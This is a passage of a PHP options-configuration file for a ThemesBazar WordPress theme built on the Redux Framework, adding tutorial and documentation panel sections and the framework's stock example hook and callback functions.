Please Download Our free themes and Buy Our Premium Wordpress Themes From <a href="http://www.themesbazar.com" target="_blank">ThemesBazar.Com</a> Or Call : +8801732-667364, +8801753-842842 <br/>', 'ThemesBazar' ),
) );
// -> ----------------------START Documentation Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Setup Tutorial', 'ThemesBazar' ),
'id' => 'tutorial',
'icon' => 'el el-facetime-video',
'desc' => __( '
<iframe width="100%" height="500" src="https://www.youtube.com/embed/jpGDSiHI61c" frameborder="0" allowfullscreen></iframe>
', 'ThemesBazar' ),
) );
// -> ----------------------START Documentation Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Documentation', 'ThemesBazar' ),
'id' => 'documentation',
'icon' => 'el el-question',
'desc' => __( '
Please Read Our Wordpress themes Documentation <a href="http://www.themesbazar.com/documentation" target="_blank">ThemesBazar.Com/Documentation</a> Or Call : +8801732-667364, +8801753-842842 <br/>', 'ThemesBazar' ),
) );
/*
* <--- END SECTIONS --------------------------------------------------------#
*/
/*
*
* YOU MUST PREFIX THE FUNCTIONS BELOW AND ACTION FUNCTION CALLS OR ANY OTHER CONFIG MAY OVERRIDE YOUR CODE.
*
*/
/*
*
* --> Action hook examples
*
*/
// If Redux is running as a plugin, this will remove the demo notice and links
//add_action( 'redux/loaded', 'remove_demo' );
// Function to test the compiler hook and demo CSS output.
// Above 10 is a priority, but 2 in necessary to include the dynamically generated CSS to be sent to the function.
//add_filter('redux/options/' . $opt_name . '/compiler', 'compiler_action', 10, 3);
// Change the arguments after they've been declared, but before the panel is created
//add_filter('redux/options/' . $opt_name . '/args', 'change_arguments' );
// Change the default value of a field after it's been set, but before it's been useds
//add_filter('redux/options/' . $opt_name . '/defaults', 'change_defaults' );
// Dynamically add a section. Can be also used to modify sections/fields
//add_filter('redux/options/' . $opt_name . '/sections', 'dynamic_section');
/**
* This is a test function that will let you see when the compiler hook occurs.
* It only runs if a field set with compiler=>true is changed.
* */
if ( ! function_exists( 'compiler_action' ) ) {
function compiler_action( $options, $css, $changed_values ) {
echo '<h1>The compiler hook has run!</h1>';
echo "<pre>";
print_r( $changed_values ); // Values that have changed since the last save
echo "</pre>";
//print_r($options); //Option values
//print_r($css); // Compiler selector CSS values compiler => array( CSS SELECTORS )
}
}
/**
* Custom function for the callback validation referenced above
* */
if ( ! function_exists( 'redux_validate_callback_function' ) ) {
function redux_validate_callback_function( $field, $value, $existing_value ) {
$error = false;
$warning = false;
//do your validation
if ( $value == 1 ) {
$error = true;
$value = $existing_value;
} elseif ( $value == 2 ) {
$warning = true;
$value = $existing_value;
}
$return['value'] = $value;
if ( $error == true ) {
$field['msg'] = 'your custom error message';
$return['error'] = $field;
}
if ( $warning == true ) {
$field['msg'] = 'your custom warning message';
$return['warning'] = $field;
}
return $return;
}
}
/**
* Custom function for the callback referenced above
*/
if ( ! function_exists( 'redux_my_custom_field' ) ) {
function redux_my_custom_field( $field, $value ) {
print_r( $field );
echo '<br/>';
print_r( $value );
}
}
/**
* Custom function for filtering the sections array. Good for child themes to override or add to the sections.
* Simply include this function in the child themes functions.php file.
* NOTE: the defined constants for URLs, and directories will NOT be available at this point in a child theme,
* so you must use get_template_directory_uri() if you want to use any of the built in icons
* */
if ( ! function_exists( 'dynamic_section' ) ) {
function dynamic_section( $sections ) {
//$sections = array();
$sections[] = array(
'title' => __( 'Section via hook', 'ThemesBazar' ),
'desc' => __( '<p class="description">This is a section created by adding a filter to the sections array. Can be used by child themes to add/remove sections from the options.</p>', 'ThemesBazar' ),
'icon' => 'el el-paper-clip',
// Leave this as a blank section, no options just some intro text set above.
'fields' => array()
);
return $sections;
}
}
/**
* Filter hook for filtering the args. Good for child themes to override or add to the args array. Can also be used in other functions.
* */
if ( ! function_exists( 'change_arguments' ) ) {
function change_arguments( $args ) {
//$args['dev_mode'] = true;
return $args;
}
}
/**
* Filter hook for filtering the default value of any given field. Very useful in development mode.
* */
if ( ! function_exists( 'change_defaults' ) ) {
function change_defaults( $defaults ) {
$defaults['str_replace'] = 'Testing filter hook!';
return $defaults;
}
}
/**
* Removes the demo link and the notice of integrated demo from the redux-framework plugin
*/
if ( ! function_exists( 'remove_demo' ) ) {
function remove_demo() {
// Used to hide the demo mode link from the plugin page. Only used when Redux is a plugin.
if ( class_exists( 'ReduxFrameworkPlugin' ) ) {
remove_filter( 'plugin_row_meta', array(
ReduxFrameworkPlugin::instance(),
'plugin_metalinks'
), null, 2 );
// Used to hide the activation notice informing users of the demo panel. Only used when Redux is a plugin.
remove_action( 'admin_notices', array( ReduxFrameworkPlugin::instance(), 'admin_notices' ) );
}
}
}